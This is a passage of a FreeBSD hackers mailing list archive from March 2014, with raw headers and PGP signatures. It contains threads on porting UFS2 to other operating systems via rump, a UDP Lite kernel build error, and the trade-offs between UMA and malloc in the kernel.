filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTIjFDAAoJECDuEZm+6Exkc4UP/i0WymXUJn+klvxwYmO/eG/T JX2lKDv8AeR1UAVrlMPzhbkgvq1WFmfyUAxJGxnAHZP2uWbONQRpJWjmtrUQZWe9 G5RPYlXtcOHxytu/Caw+lFCnL0pl1z2oI3VWzglMmBRcE2QAn8SgA7//kGSjlDO4 43KX3uxUkZFpoRc25a0SjqylHmpdjxUa3Lu3tnq3dSHkpptdnySYI2NtiPkyp3L3 9qmqSPDxkqY52/fIYbuw8iuHWaBgBzVPi9fF4CzfxXt3gKRzIULRkVP9vrUzkOc6 /hGn8Y+myDVWC+bBnEPrrHvOM4soLA7dnlX3EVGjm+woi2odSGcSz/6gF58FJ7Lc NeLuC1sqzzE8vRCtNUALcI5prndI7RddJiyX9YaqDOdrqygV8jocxly0BsowWDhV rc14UtXcIGrw2nulxfGsKzwDWtF5L2gXHgjyHS8pN2tX2E/kZWD3boJabh9fwK46 CXwka7/k1EbMbMPD8FVg1oE8YwnFU0cuPN2mHyPJrdRW7dNSNC1L2LMOHpVL8Qw3 +BKF3BSP0eSBXusZ5hl4JDA08cXHG+l8fZblvX3ODo1+YJldRsSM0OEN9ZI3dBYj D3MiGyMrQTwhOt0kf/8wCtSM1CzP5rGkGTLtl+/HHAtSmPU83deX8YQxa83VWglZ t2a37JRVB5W4xZYlcvmA =bGtm -----END PGP SIGNATURE----- --as4mxJEFeEtn235GvjhNqfwdGaWU73i6k-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 22:32:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C4369DB; Thu, 13 Mar 2014 22:32:07 +0000 (UTC) Received: from smtp.gentoo.org (dev.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D84718EB; Thu, 13 Mar 2014 22:32:06 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id E893A33FAD9; Thu, 13 Mar 2014 22:32:04 +0000 (UTC) Message-ID: <532231EA.5090601@gentoo.org> Date: Thu, 13 Mar 2014 18:32:10 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Julio Merino Subject: Re: GSoC proposition: multiplatform UFS2 driver References: <5321EF7E.7000500@gentoo.org> <53223140.9030208@gentoo.org> In-Reply-To: <53223140.9030208@gentoo.org> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="u0B2s4q76vRBhNuqVFtM7ERWW8rfbKRX6" Cc: freebsd-hackers@freebsd.org, CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 22:32:07 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --u0B2s4q76vRBhNuqVFtM7ERWW8rfbKRX6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 03/13/2014 06:29 PM, Richard Yao wrote: > On 03/13/2014 06:12 PM, Julio Merino wrote: >> On Fri, Mar 14, 2014 at 2:48 AM, Richard Yao wrote: >>> On 03/12/2014 12:54 PM, CeDeROM wrote: >>>> My proposition is to create universal UFS2 driver that would work on= >>>> Windows, Linux, and maybe other OS, so we can use native UFS2 as dat= a >>>> partition among various OS. >>>> >>> >>> I like this idea. In particular, I would like to have UFS2 SU+J >>> available for use in certain Linux VMs and was thinking about this >>> possibility earlier in the week. However, I no longer qualify to be a= >>> GSoC student and I do not have time to do it myself. >>> [...] >>> Speaking as a kernel filesystem hacker (with most of my experience in= >>> Linux), I think this could be too ambitious depending on how you add >>> detail. In particular, Linux has a moving target of a VFS (which caus= es >>> much pain) and Windows' IFS is very different from the SunOS VFS that= >>> has become the basis for implementing multiple filesystems on differe= nt >>> UNIX implementations and copy-cats. >> [...] >> >> Something worth pointing out here: in NetBSD, and thanks to rump, you >> can already get the *verbatim* in-kernel code of UFS2 built on a >> variety of host platforms. You could very easily turn the existing >> file system code into a FUSE file-system for Linux, for example, or >> write the necessary shims to bundle the code into a kernel driver. >=20 > This would work, but I think it dramatically reduces the value of the > result. >=20 >> In other words and in my opinion: rewriting file system code from >> scratch is outside of the scope of GSoC, but writing the glue code for= >> the above to happen doesn't sound too crazy. (The only problem may be >> if NetBSD's UFS2 driver is not compatible with FreeBSD's... but I >> believe they should be for the "basic stuff".) >> >> Some links: >> >> https://github.com/rumpkernel/buildrump.sh >> http://wiki.netbsd.org/rumpkernel/ >> >=20 > There is no need to write the code from scratch. He would just need to > take the existing code and wrap it so that it builds as part of a kerne= l > module for other kernels. The only things that need to be written is > glue code for mapping *BSD interfaces to foreign ones. I do not think i= t > is much more complex than writing a FUSE filesystem driver, especially > given the existence of user-mode Linux. That would permit the filesyste= m > driver for Linux to be developed in userland on FreeBSD, much like a > FUSE driver. Once the wrapper is written, the things that need revision= > to support other kernels should be rather clearly defined. >=20 > http://user-mode-linux.sourceforge.net/ >=20 > That being said, I do not like the idea of using NetBSD's UFS2 code. It= > lacks Soft-Updates, which I consider to make FreeBSD UFS2 second only t= o > ZFS in desirability. >=20 Something worth pointing out here that I missed is that rump could be used to develop a port of FreeBSD UFS2 to NetBSD. ;) --u0B2s4q76vRBhNuqVFtM7ERWW8rfbKRX6 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTIjHxAAoJECDuEZm+6ExkoS0P/iuFyMM/QDj7REH5v8hvhLn1 8iWzWr6vJ0syRUf2KXNLHaz7IpkgYjESSWnEgZfIaoMN/QgkQRiKBFOYfbg1jw09 Ve1kInk7CY/0DoEf3Bokw4stgArzURhT4bjQGoNhUD8sRXxFbMdvX0pqdsv7JIFq zKPkJuNfTdV+32SYlNlWQoIj8P+nKfHj6EH4ghdEVCyoxFdtA5uO5eY6bUi2DHUj kcJP8tBzinGvP0HYzeZ4HtQbS0Zhln7WCHI2x9iEHRUq0ADZMrTE8+14icz5hoRz bD9k3KasOsMa0TFTyGGhML7BG6GAF3/7FMSH01QHjCPP/DxFREbJqwSjdNzHstvr 2sqP/QXercOeanweZVK0CmAIveezpkqDzQjxBCRhsgoJAEVFXdIoGvH8oC4641Oo XOoC4x/6CnDKs1sE9fHHTqgeE6hNb6vgbUUCg1aVqZta4TgVUk8lrxHdvuJWoCIZ ysSfHoGbIgbVlRIriuHpTIDdv/YQFftR5KRO0qdYBe78T1gD03whcAqsW+QSNGmS G5iCsPmcgvGGqI7sY15+5yu1qJr5OlpterV1FlL7oC558igdCi+BUc0EA5k3GwJm RECzt7P7YLuyHZ1DMu6NiBkTsScTdrUOPb4ZKA5UH0AowejGS8ga7f2WTNGGe32d n1JHahZoBkjJCh7oCs+J =zNGF -----END PGP SIGNATURE----- --u0B2s4q76vRBhNuqVFtM7ERWW8rfbKRX6-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 00:16:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 44998733; Fri, 14 Mar 2014 00:16:22 +0000 (UTC) Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 158E2211; Fri, 14 Mar 2014 00:16:21 +0000 (UTC) Received: from [192.168.1.157] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 8DE2133FCEE; Fri, 14 Mar 2014 00:16:20 +0000 (UTC) References: <5321EF7E.7000500@gentoo.org> <53223140.9030208@gentoo.org> <532231EA.5090601@gentoo.org> Mime-Version: 1.0 (1.0) In-Reply-To: <532231EA.5090601@gentoo.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPad Mail (10B146) From: Richard Yao Subject: Re: GSoC proposition: multiplatform UFS2 driver Date: Thu, 13 Mar 2014 20:16:20 -0400 To: Julio Merino Cc: "freebsd-hackers@freebsd.org" , CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 00:16:22 -0000 On Mar 13, 2014, at 6:32 PM, Richard Yao wrote: > On 03/13/2014 06:29 PM, Richard Yao wrote: >> On 03/13/2014 06:12 PM, Julio Merino wrote: >>> On Fri, Mar 14, 2014 at 2:48 AM, Richard Yao wrote: >>>> On 03/12/2014 12:54 PM, CeDeROM wrote: >>>>> My proposition is to create universal UFS2 driver that would work on >>>>> Windows, Linux, and maybe other OS, so we can use native UFS2 as data >>>>> partition among various OS. >>>>=20 >>>> I like this idea. In particular, I would like to have UFS2 SU+J >>>> available for use in certain Linux VMs and was thinking about this >>>> possibility earlier in the week. However, I no longer qualify to be a >>>> GSoC student and I do not have time to do it myself. >>>> [...] >>>> Speaking as a kernel filesystem hacker (with most of my experience in >>>> Linux), I think this could be too ambitious depending on how you add >>>> detail. In particular, Linux has a moving target of a VFS (which causes= >>>> much pain) and Windows' IFS is very different from the SunOS VFS that >>>> has become the basis for implementing multiple filesystems on different= >>>> UNIX implementations and copy-cats. >>> [...] >>>=20 >>> Something worth pointing out here: in NetBSD, and thanks to rump, you >>> can already get the *verbatim* in-kernel code of UFS2 built on a >>> variety of host platforms. You could very easily turn the existing >>> file system code into a FUSE file-system for Linux, for example, or >>> write the necessary shims to bundle the code into a kernel driver. >>=20 >> This would work, but I think it dramatically reduces the value of the >> result. >>=20 >>> In other words and in my opinion: rewriting file system code from >>> scratch is outside of the scope of GSoC, but writing the glue code for >>> the above to happen doesn't sound too crazy. (The only problem may be >>> if NetBSD's UFS2 driver is not compatible with FreeBSD's... but I >>> believe they should be for the "basic stuff".) >>>=20 >>> Some links: >>>=20 >>> https://github.com/rumpkernel/buildrump.sh >>> http://wiki.netbsd.org/rumpkernel/ >>=20 >> There is no need to write the code from scratch. He would just need to >> take the existing code and wrap it so that it builds as part of a kernel >> module for other kernels. The only things that need to be written is >> glue code for mapping *BSD interfaces to foreign ones. I do not think it >> is much more complex than writing a FUSE filesystem driver, especially >> given the existence of user-mode Linux. That would permit the filesystem >> driver for Linux to be developed in userland on FreeBSD, much like a >> FUSE driver. Once the wrapper is written, the things that need revision >> to support other kernels should be rather clearly defined. >>=20 >> http://user-mode-linux.sourceforge.net/ >>=20 >> That being said, I do not like the idea of using NetBSD's UFS2 code. It >> lacks Soft-Updates, which I consider to make FreeBSD UFS2 second only to >> ZFS in desirability. >=20 > Something worth pointing out here that I missed is that rump could be > used to develop a port of FreeBSD UFS2 to NetBSD. ;) After looking at Rump in more detail, I have to retract these statements. I t= hink a variation of this suggestion where UFS2 SU+J is ported to Rump and Ru= mp is used to port it to other operating systems would work marvelously. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 01:13:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 455C884A for ; Fri, 14 Mar 2014 01:13:15 +0000 (UTC) Received: from mail-oa0-x235.google.com (mail-oa0-x235.google.com [IPv6:2607:f8b0:4003:c02::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 125138CB for ; Fri, 14 Mar 2014 01:13:15 +0000 (UTC) Received: by mail-oa0-f53.google.com with SMTP id j17so1875955oag.26 for ; Thu, 13 Mar 2014 18:13:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=F0GRIAoyt8gdV5nPMmx2vBhztStg/iDl/73TdloaJz0=; b=zRxGOSPUydcVyz5Z1KBXrXRjaSWfkHquCaQTrGzitoHSOC8iJgEQyLc/G2DGPx4POY GNOWYyG7B+ZQU6vA7dc89uyoxEKqCZ7amO12Gh5Oit4rIEkh/e73LJGmv0H95VyzWKG8 /Z5n2ikyMjAny6eaxRT+kvuU4pCJUxfEfYwsGBeSlWUxMwV7Ua3gMFFajSV358ET4NZY SPmfNC/e+l7i5jwvPjV9kbW/IND902NEetOBmqigKu+gHECRlJnucACCnST99tuaPeP1 RDTTbXR8pUHwiOk7IpO45May/9CT+ecGPXj1vi1SZrVjo2HnqbS98lERVbBu2UaM420V FiGA== MIME-Version: 1.0 X-Received: by 10.60.145.225 with SMTP id sx1mr4079721oeb.30.1394759594359; Thu, 13 Mar 2014 18:13:14 -0700 (PDT) Received: by 10.182.130.71 with HTTP; Thu, 13 Mar 2014 18:13:14 -0700 (PDT) Date: Thu, 13 Mar 2014 21:13:14 -0400 Message-ID: Subject: Definition struct and int From: Joe Nosay To: FreeBSD Hackers Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 01:13:15 -0000 Testing of a patch for using UDP Lite on FreeBSD caused no compilation errors; however, after adding the options of "VIMAGE" and "MROUTING" to conf/kern?GENERIC, make buildkernel stops with: /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to function call, expected 2, have 1 udp_discardcb(up); ~~~~~~~~~~~~~ ^ /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' declared here void ^ 1 error generated. *** Error code 1 The file in question of /usr/src/sys/netinet/udp_usrreq.c has the value of udp_discardcb(struct udpcb *up, int isudp) that is causing the problem. I believe that the compiler is looking for a value to int isudp but that value does not exist. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 01:26:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 171A4C09 for ; Fri, 14 Mar 2014 01:26:10 +0000 (UTC) Received: from mail-qc0-x22e.google.com (mail-qc0-x22e.google.com [IPv6:2607:f8b0:400d:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C94599A4 for ; Fri, 14 Mar 2014 01:26:09 +0000 (UTC) Received: by mail-qc0-f174.google.com with SMTP id x13so2176972qcv.33 for ; Thu, 13 Mar 2014 18:26:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=4AYh4xa+vI9xAabcsHMfBZUgISQC1jaY13LzK4QxtM0=; b=noL1e4YUKQDhIU2Xv3kEDnFfFtNNc/JlcFmBpHvMlDZy0I1eCazS8p+/+FIkNquFkZ mgfUOIz3HujUvvd1UBGLyMko9iaejTfK4etOmRr6ey0hwFFY2oxCj8IN0c0Nolleqzx2 uh58h0LsKYOvL009lZMHu5znislHiqBUhE7+n9+CrgDVNHCgspP3/wzR3YSgSjgUMO8H EFtF4RWZY39xWKKy0pK5kgrdXVnpowS+hHp6QO6ROUg4rjK7N8+CkAWo6wgSEschkFQK fLbkBgTTTO0BB89ldjc/2G75gjjY5PnhzqvKjuJby8BJwIa8kTIhzWB3ScQV6PmE5xaQ GnPw== MIME-Version: 1.0 X-Received: by 10.224.88.130 with SMTP id a2mr6440001qam.55.1394760368984; Thu, 13 Mar 2014 18:26:08 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.8.137 with HTTP; Thu, 13 Mar 2014 18:26:08 -0700 (PDT) In-Reply-To: References: Date: Thu, 13 Mar 2014 18:26:08 -0700 X-Google-Sender-Auth: wN70xS5RehYsURiwey_aWHBkxTE Message-ID: Subject: Re: Definition struct and int From: Adrian Chadd To: Joe Nosay Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 01:26:10 -0000 Is this -HEAD, or? -a On 13 March 2014 18:13, Joe Nosay wrote: > Testing of a patch for using UDP Lite on FreeBSD caused no compilation > errors; however, after adding the options of "VIMAGE" and "MROUTING" to > conf/kern?GENERIC, make buildkernel stops with: > /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to > function > call, expected 2, have 1 > udp_discardcb(up); > ~~~~~~~~~~~~~ ^ > /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' declared here > void > ^ > 1 error generated. > *** Error code 1 > > The file in question of > /usr/src/sys/netinet/udp_usrreq.c > > has the value of > udp_discardcb(struct udpcb *up, int isudp) > > that is causing the problem. > > > > I believe that the compiler is looking for a value to int isudp but that > value does not exist. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 01:50:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C5D6D38A; Fri, 14 Mar 2014 01:50:28 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8457DAE3; Fri, 14 Mar 2014 01:50:28 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2E1oLxL036391 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Mar 2014 18:50:22 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2E1oL0P036390; Thu, 13 Mar 2014 18:50:21 -0700 (PDT) (envelope-from jmg) Date: Thu, 13 Mar 2014 18:50:21 -0700 From: John-Mark Gurney To: Rick Macklem Subject: Re: kernel memory allocator: UMA or malloc? Message-ID: <20140314015021.GN32089@funkthat.com> Mail-Followup-To: Rick Macklem , Freebsd hackers list , Garrett Wollman References: <20140313054659.GG32089@funkthat.com> <1783335610.22308389.1394749339304.JavaMail.root@uoguelph.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1783335610.22308389.1394749339304.JavaMail.root@uoguelph.ca> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Thu, 13 Mar 2014 18:50:22 -0700 (PDT) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 01:50:28 -0000 Rick Macklem wrote this message on Thu, Mar 13, 2014 at 18:22 -0400: > John-Mark Gurney wrote: > > Rick Macklem wrote this message on Wed, Mar 12, 2014 at 21:59 -0400: > > > John-Mark Gurney wrote: > > > > Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 > > > > -0400: > > > > > I've been working on a patch provided by wollman@, where > > > > > he uses UMA instead of malloc() to allocate an iovec array > > > > > for use by the NFS server's read. > > > > > > > > > > So, my question is: > > > > > When is it preferable to use UMA(9) vs malloc(9) if the > > > > > allocation is going to be a fixed size? > > > > > > > > UMA has benefits if the structure size is uniform and a non-power > > > > of > > > > 2.. > > > > In this case, it can pack the items more densely, say, a 192 byte > > > > allocation can fit 21 allocations in a 4k page size verse malloc > > > > which > > > > would round it up to 256 bytes leaving only 16 per page... These > > > > counts per page are probably different as UMA may keep some > > > > information > > > > in the page... > > > > > > > Ok, this one might apply. I need to look at the size. > > > > > > > It also has the benefit of being able to keep allocations "half > > > > alive".. > > > > "freed" objects can be partly initalized with references to > > > > buffers > > > > and > > > > other allocations still held by them... Then if the systems needs > > > > to > > > > fully free your allocation, it can, and will call your function > > > > to > > > > release these remaining resources... look at the ctor/dtor > > > > uminit/fini > > > > functions in uma(9) for more info... > > > > > > > > uma also allows you to set a hard limit on the number of > > > > allocations > > > > the zone provides... > > > > > > > Yep. None of the above applies to this case, but thanks for the > > > good points > > > for a future case. (I've seen where this gets used for the > > > "secondary zone" > > > for mbufs+cluster.) > > > > > > > Hope this helps... > > > > > > > Yes, it did. Thanks. > > > > > > Does anyone know if there is a significant performance difference > > > if the allocation > > > is a power of 2 and the "half alive" cases don't apply? > > > > From my understanding, the malloc case is "slightly" slower as it > > needs to look up which bucket to use, but after the lookup, the > > buckets > > are UMA, so the performance will be the same... > > > > > Thanks all for your help, rick > > > ps: Garrett's patch switched to using a fixed size allocation and > > > using UMA(9). > > > Since I have found that a uma allocation request with M_WAITOK > > > can get the thread > > > stuck sleeping in "btalloc", I am a bit shy of using it when > > > I've never > > > > Hmm... I took a look at the code, and if you're stuck in btalloc, > > either pause(9) isn't working, or you're looping, which probably > > means > > you're really low on memory... > > > Well, this was an i386 with the default of about 400Mbytes of kernel > memory (address space if I understand it correctly). Since it seemed > to persist in this state, I assumed that it was looping and, therefore, > wasn't able to find a page sized and page aligned chunk of kernel > address space to use. (The rest of the system was still running ok.) It looks like vm.phys_free would have some useful information about the availability of free memory... I'm not sure if this is where the allocators get their memory or not.. I was about to say it seamed weird we only have 16K as the largest allocation, but that's 16MEGs.. > I did email about this and since no one had a better explanation/fix, > I avoided the problem by using M_NOWAIT on the m_getjcl() call. > > Although I couldn't reproduce this reliably, it seemed to happen more > easily when my code was doing a mix of MCLBYTES and MJUMPAGESIZE cluster > allocation. Again, just a hunch, but maybe the MCLBYTE cluster allocations > were fragmenting the address space to the point where a page sized chunk > aligned to a page boundary couldn't be found. By definition, you would be out of memory if there is not a page free (that is aligned to a page boundary, which all pages are)... It'd be interesting to put a printf w/ the pause to see if it is looping, and to get a sysctl -a from the machine when it is happening... > Alternately, the code for M_WAITOK is broken in some way not obvious > to me. > > Either way, I avoid it by using M_NOWAIT. I also fall back on: > MGET(..M_WAITOK); > MCLGET(..M_NOWAIT); > which has a "side effect" of draining the mbuf cluster zone if the > MCLGET(..M_NOWAIT) fails to get a cluster. (For some reason m_getcl() > and m_getjcl() do not drain the cluster zone when they fail?) Why aren't you using m_getcl(9) which does both of the above automaticly for you? And is faster, since there is a special uma zone that has both an mbuf and an mbuf cluster paired up already? > One of the advantages of having very old/small hardware to test on;-) :) > > > had a problem with malloc(). Btw, this was for a pagesize > > > cluster allocation, > > > so it might be related to the alignment requirement (and > > > running on a small > > > i386, so the kernel address space is relatively small). > > > > Yeh, if you put additional alignment requirements, that's probably > > it, > > but if you needed these alignment requirements, how was malloc > > satisfying your request? > > > This was for a m_getjcl(MJUMAGEIZE, M_WAITOK..), so for this case > I've never done a malloc(). The code in head (which my patch uses as > a fallback when m_getjcl(..M_NOWAIT..) fails does (as above): > MGET(..M_WAITOK); > MCLGET(..M_NOWAIT); When that fails, an netstat -m would also be useful to see what the stats think of the availability of page size clusters... > > > I do see that switching to a fixed size allocation to cover the > > > common > > > case is a good idea, but I'm not sure if setting up a uma zone > > > is worth > > > the effort over malloc()? > > > > I'd say it depends upon how many and the number... If you're > > allocating > > many megabytes of memory, and the wastage is 50%+, then think about > > it, but if it's just a few objects, then the coding time and > > maintenance isn't worth it.. > > > Btw, I think the allocation is a power of 2. (It is a power of 2 times > sizeof(struct iovec) and it looks to me that sizeof(struct iovec) is > a power of 2 as well. (I know i386 is 8 and I think most 64bits arches > will make it 16, since it is a pointer and a size_t.) yes, struct iovec is 16 on amd64... (kgdb) print sizeof(struct iovec) $1 = 16 > This was part of Garrett's patch, so I'll admit I would have been to > lazy to do it.;-) Now it's in the current patch, so unless there seems > to be a reason to take it out..?? > > Garrett mentioned that UMA(9) has a per-CPU cache. I'll admit I don't > know what that implies? a per-CPU cache means that on an SMP system, you can lock the local pool instead of grabing a global lock.. This will be MUCH faster as the local lock won't have to bounce around CPUs like a global lock does, plus it should never contend which really puts the breaks on sync primities... > - I might guess that a per-CPU cache would be useful for items that get > re-allocated a lot with minimal change to the data in the slab. > --> It seems to me that if most of the bytes in the slab have the > same bits, then you might improve hit rate on the CPU's memory > caches, but since I haven't looked at this, I could be way off?? caching will help some, but the lock is the main one... > - For this case, the iovec array that is allocated is filled in with > different mbuf data addresses each time, so minimal change doesn`t > apply. So, this is where a UMA half alive object could be helpful... Say that you always need to allocate an iovec + 8 mbuf clusters to populate the iovec... What you can do is have a uma uminit function that allocates the memory for the iovec and 8 mbuf clusters, and populates the iovec w/ the correct addresses... Then when you call uma_zalloc, the iovec is already initalized, and you just go on your merry way instead of doing all that work... when you uma_zfree, you don't have to worry about loosing the clusters as the next uma_zalloc might return the same object w/ the clusters already present... When the system gets low on memory, it will call your fini function which will need to free the clusters.... > - Does the per-CPU cache help w.r.t. UMA(9) internal code perf? > > So, lots of questions that I don't have an answer for. However, unless > there is a downside to using UMA(9) for this, the code is written and > I'm ok with it. Nope, not really... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 02:22:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94F01E6C for ; Fri, 14 Mar 2014 02:22:11 +0000 (UTC) Received: from mail-ig0-x242.google.com (mail-ig0-x242.google.com [IPv6:2607:f8b0:4001:c05::242]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 67EF0DB6 for ; Fri, 14 Mar 2014 02:22:11 +0000 (UTC) Received: by mail-ig0-f194.google.com with SMTP id hl1so654658igb.1 for ; Thu, 13 Mar 2014 19:22:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=OUjZalBO/PMu1Xs+72wbGnSeoxacTJu2x9ErNDq0YUQ=; b=B2EaKcJA9THlqt9ShhFHmwPE/4cNYRqhWSjofyvMLQ6AczGMfl3Uto6c7hleaivlpG jjr02G9qtGzBM+bZxOZL5xrr6KFdomJWVc5l2NMqNeyWG5Ghe8swK3lEgvsaAH9TVyeG 1Ve/d2tnD5o+hf9XJdWnRwgrkPyc/o0LcBV2/PrECc/7T4wVL/4zHFo0d5Ismw04GaU+ m4i6jTdkxl49y/kd+jg2l6pAX7PqgjFFyjhLwGdQ1QsnV2qYz0DY3URfs+p73xP34RNn raiRLQAkUAcviqeAigRRx9vsy/6z6kmzSHztsyAnAFLojJavN94wIsuWrV+bGySUmM5H Z6Bw== 